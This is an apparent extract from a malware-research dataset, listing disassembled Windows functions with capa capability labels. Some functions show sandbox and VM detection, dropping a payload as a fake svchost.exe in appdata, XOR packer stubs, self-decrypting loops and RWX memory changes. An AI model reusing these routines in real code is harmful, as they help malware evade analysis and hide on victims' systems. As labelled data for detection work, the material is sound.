joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x404000
Capabilities:
Check for sandbox and av modules
Enumerate gui resources

Disassembly:
push ebp
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push 0
lea eax, [0x404229]
push eax
call sub.USER32.DLL_EnumWindows
mov dword [esp], 1
mov dword [esp + 4], 0x61
mov eax, 0x7a
cmp eax, dword [esp + 4]
jl 0x40408a
push dword [0x419958]
push 1
push 1
push dword [0x419958]
push dword [0x419958]
push dword [esp + 0x18]
call fcn.0040c720
inc dword [0x419958]
push dword [0x419848]
mov edx, dword [0x418e04]
add dword [esp + 4], edx
call fcn.0040c740
pop dword [0x419958]
and eax, eax
je 0x404084
mov dword [esp], 0
inc dword [esp + 4]
jno 0x404028
mov ebx, dword [esp]
cmp ebx, 1
jne 0x40409c
mov dword [0x419858], 1
push str.SbieDll.dll
call sub.KERNEL32.dll_GetModuleHandleA
mov ebx, eax
and ebx, ebx
je 0x4040b6
mov dword [0x419858], 1
push str.VBoxHook.dll
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
and ebx, ebx
jne 0x4040d8
push str.VBoxMRXNP.dll
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
and ebx, ebx
jne 0x4040d8
jmp 0x4040df
mov eax, 1
jmp 0x4040e1
xor eax, eax
and eax, eax
je 0x4040ef
mov dword [0x419858], 1
push dword [0x419958]
push dword [0x419958]
push dword [0x419958]
push str.ProgramFiles
call fcn.0040cb6a
mov edx, str.VMwareVMware_Tools
call fcn.0040eb50
mov edx, dword [0x418e04]
add dword [esp], edx
call fcn.0040d2d4
pop dword [0x419958]
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x404137
cmp edi, 0xffffffff
je 0x40413b
xor eax, eax
jmp 0x404140
mov eax, 1
or eax, eax
je 0x40414e
mov dword [0x419858], 1
mov ebx, dword [0x419858]
and ebx, ebx
jne 0x404217
push dword [0x419958]
push dword [0x419958]
push str.appdata
call fcn.0040cb6a
lea eax, [esp + 0xc]
push eax
call fcn.0040ebb0
push dword [0x419958]
mov edx, dword [esp + 0xc]
push dword [0x419958]
call fcn.0040eb50
mov edx, str._svchost.exe
call fcn.0040eb50
inc dword [0x419958]
push 0
mov edx, dword [0x418e04]
add dword [esp + 4], edx
call fcn.0040d6a0
pop dword [0x419958]
mov ebp, 0x4155a8
mov ebx, ebp
mov ebp, 0x4111a8
sub ebx, ebp
push ebx
mov ebp, 0x4111a8
push ebp
push 0
call fcn.0040d750
push 0
call fcn.0040d460
push dword [0x419958]
mov edx, dword [esp + 0xc]
push dword [0x419958]
call fcn.0040eb50
mov edx, str._svchost.exe
call fcn.0040eb50
mov edx, dword [0x418e04]
add dword [esp], edx
call fcn.0040d000
pop dword [0x419958]
xor eax, eax
push dword [esp + 8]
call fcn.0040ec30
add esp, 0xc
pop edi
pop ebx
pop ebp
ret
Function at 0x40ca37
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x10], ebx
je 0x40ca86
push dword [esp + 0x10]
push 0x40c9b5
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x4198e4]
cmp esi, ebx
je 0x40cada
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x40ca7e
cmp byte [esi + 0x10], bl
je 0x40ca7e
push 3
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, edi
cmp edi, ebx
jne 0x40ca5b
jmp 0x40cada
mov esi, dword [0x4198e4]
cmp esi, ebx
je 0x40cada
push ebp
mov ebp, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x40cad3
cmp byte [esi + 0x11], bl
je 0x40cab0
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], bl
je 0x40cac6
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x4198e4
call fcn.0040ea89
pop ecx
pop ecx
mov esi, ebp
cmp ebp, ebx
jne 0x40ca91
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x40d2d4
Capabilities:
Check if file exists
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x248
push esi
or esi, 0xffffffff
push edi
mov edi, esi
test eax, eax
je 0x40d40c
cmp byte [eax], 0
je 0x40d40c
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea ecx, [ebp + eax - 0x109]
cmp eax, 2
je 0x40d32e
cmp eax, 3
jne 0x40d36e
cmp byte [ebp - 0x107], 0x3a
jne 0x40d36e
cmp eax, 2
jne 0x40d34f
lea eax, [ebp - 0x108]
push 0x41000c
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x40d40c
jmp 0x40d409
mov byte [ecx], 0
dec ecx
cmp byte [ecx], 0x5c
je 0x40d36a
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40d3b8
test byte [ebp - 0x248], 0x10
je 0x40d39d
push 0xfffffffffffffffe
pop edi
or esi, 0xffffffff
jmp 0x40d3af
mov esi, dword [ebp - 0x22c]
xor edi, edi
or edi, dword [ebp - 0x228]
xor edx, edx
or esi, edx
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40d40c
cmp byte [ebp - 0x108], 0x5c
jne 0x40d3ca
cmp byte [ebp - 0x107], 0x5c
je 0x40d3dc
cmp byte [ebp - 0x108], 0x2e
jne 0x40d40c
cmp byte [ebp - 0x107], 0x2e
jne 0x40d40c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40d3f4
test al, 0x10
je 0x40d40c
jmp 0x40d406
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x40d40c
or esi, 0xffffffff
push 0xfffffffffffffffe
pop edi
mov eax, edi
pop edi
mov edx, esi
pop esi
leave
ret 4

Function at 0x40d420
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x40d455
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x40d750
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x40d7a9
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40d7a8
mov eax, dword [esp + 0x10]
mov ecx, dword [0x419984]
push eax
push ecx
call fcn.0040e3a8
test eax, eax
je 0x40d7a4
cmp dword [eax + 4], 0
je 0x40d792
push esi
push edi
push eax
call fcn.0040d7b0
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x40d7b0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x40d7e5
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
push 1
push 0
neg eax
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], edx
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x40d85a
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
dec ecx
je 0x40d847
dec ecx
je 0x40d832
sub ecx, 2
je 0x40d81f
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.0040d420
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40d887
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
Function at 0x40618f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x426d3c], 0
push esi
jne 0x4061c6
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4061a0
mov dword [ecx*4 + 0x426d38], eax
inc ecx
cmp ecx, 0x100
jl 0x40619b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4061f7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x426d38]
xor eax, esi
inc ecx
dec edx
jne 0x4061d9
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401237
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x30], esi
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x14], eax
mov eax, dword [0x41b2f8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b2fc]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x24], eax
call fcn.00401230
mov ebx, dword [ebp - 0x10]
mov ecx, dword [0x41b300]
add ebx, 0x23f
mov edx, dword [0x41b304]
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, edi
mov dword [ebp - 0x10], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xae2fcc], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0xae2fc8]
cmove eax, dword [ebp - 0x10]
and dword [ebp - 0x10], 0
cmp dword [0xae2fcc], 0x3eb
mov dword [0xae2fc8], eax
mov eax, dword [0xae2f20]
cmove eax, dword [ebp - 0x10]
mov dword [0xae2f20], eax
lea eax, [ebx + edi]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
add dword [ebp - 8], edx
and dword [ebp - 0xc], 0
mov dword [0xae2fc4], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebx + esi]
mov edx, esi
lea ebx, [ebx + 0x61c88647]
shr edx, cl
add edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
xor edx, eax
mov eax, dword [ebp - 4]
xor eax, edx
mov edx, dword [ebp - 0x2c]
sub edi, eax
mov dword [ebp - 4], eax
dec dword [ebp - 0x18]
mov dword [ebp - 0xc], edi
jne 0x401291
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov dword [esi], edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cd29
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41af20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040973e
mov dword [ebp - 0x14], eax
cmp dword [0x43e7bc], esi
jne 0x40ce1c
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40cda9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cefc
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cefc
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cefc
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43e7bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43e7c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43e7c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e7cc], eax
test eax, eax
je 0x40ce19
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e7c8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ce41
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ce34
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ce56
push 4
pop eax
jmp 0x40cefe
cmp dword [ebp - 0x14], esi
je 0x40ce56
push dword [0x43e7bc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ce3b
mov eax, dword [0x43e7c8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40ceb4
cmp dword [0x43e7cc], edi
je 0x40ceb4
push eax
call ebx
push dword [0x43e7cc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40ceb4
test eax, eax
je 0x40ceb4
call ecx
test eax, eax
je 0x40cea9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cea9
test byte [ebp - 8], 1
jne 0x40ceb4
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40cee4
mov eax, dword [0x43e7c0]
cmp eax, edi
je 0x40cee1
push eax
call ebx
test eax, eax
je 0x40cee1
call eax
mov esi, eax
test esi, esi
je 0x40cee1
mov eax, dword [0x43e7c4]
cmp eax, edi
je 0x40cee1
push eax
call ebx
test eax, eax
je 0x40cee1
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43e7bc]
call ebx
test eax, eax
je 0x40cefc
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cefe
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404197
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x375b1b26
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x5c91743b
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x26485524
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7ddf278d
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403b4c
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2002c
call fcn.00431ac0
push esi
push edi
lea ecx, [ebp - 0x2c]
call fcn.004077c7
xor eax, eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 6], al
mov byte [ebp - 5], al
lea eax, [ebp - 0x1002c]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 7]
push eax
push dword [ebp + 8]
call fcn.00403778
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x43d3dd
mov eax, dword [0x4c52e0]
test eax, eax
je 0x403c97
xor edi, edi
mov esi, 0x4c6290
inc edi
cmp eax, edi
je 0x43d3f7
lea eax, [ebp - 6]
push eax
push ecx
push 0x4c52e0
push 0x4c52f8
mov ecx, esi
call fcn.004073e5
test al, al
je 0x403ca0
mov al, byte [0x4c6290]
mov byte [0x4c52e4], al
mov al, byte [0x4c6291]
mov byte [ebp - 5], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2002c]
push eax
push 0x7fff
push dword [0x4c52f8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push dword [ebp - 0xc]
mov ecx, 0x4c52d0
call fcn.00407d2c
mov al, byte [ebp - 6]
mov dword [ebp - 0xc], eax
push dword [0x4c52e0]
push 0x4c52f8
call fcn.00410a8d
test eax, eax
jne 0x43d416
cmp byte [ebp - 5], 1
je 0x43d435
call fcn.00403a58
call fcn.004039e7
cmp byte [0x4c52e4], 0
jne 0x403c55
mov ecx, 0x4c5890
call fcn.004043db
push edi
mov ecx, 0x4c5310
call fcn.00410b30
cmp byte [0x4c52e4], 0
jne 0x403c73
mov ecx, 0x4c5890
call fcn.004044cb
mov ecx, esi
call fcn.0040743b
lea eax, [ebp - 0x1002c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [ebp - 0x2c]
call fcn.00405a64
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
or dword [0x4c527c], 0xffffffff
jmp 0x403c7a
mov dword [0x4c527c], edi
jmp 0x403c7a
push 0x10
push 0x4b7770
push 0x4b7774
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x403c87
push 0xffffffffffffffff
push dword [0x4c52e8]
mov ecx, esi
push edi
call fcn.00407373
mov al, byte [0x4c5284]
mov byte [0x4c6292], al
jmp 0x403c16
mov ecx, esi
call fcn.0040743b
lea eax, [ebp - 0x1002c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x4c527c], edi
jmp 0x403c87
call fcn.00464a08
test al, al
jne 0x403c38
cmp byte [ebp - 7], al
jne 0x403c38
lea ecx, [ebp - 0x2c]
call fcn.00404864
push 0x4b4260
lea ecx, [ebp - 0x1c]
call fcn.00407f41
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x1c]
test al, al
je 0x43d48f
mov edi, 0x4b77a4
push edi
call fcn.00407e0b
push 0x4c52f8
lea ecx, [ebp - 0x1c]
call fcn.00407c8e
push edi
lea ecx, [ebp - 0x1c]
call fcn.00407e0b
push 1
jmp 0x43d498
push dword [ebp + 8]
call fcn.00407e0b
push edi
lea eax, [ebp - 0x1002c]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
push 0x4b77a8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x1c]
call fcn.00405a64
jmp 0x403c73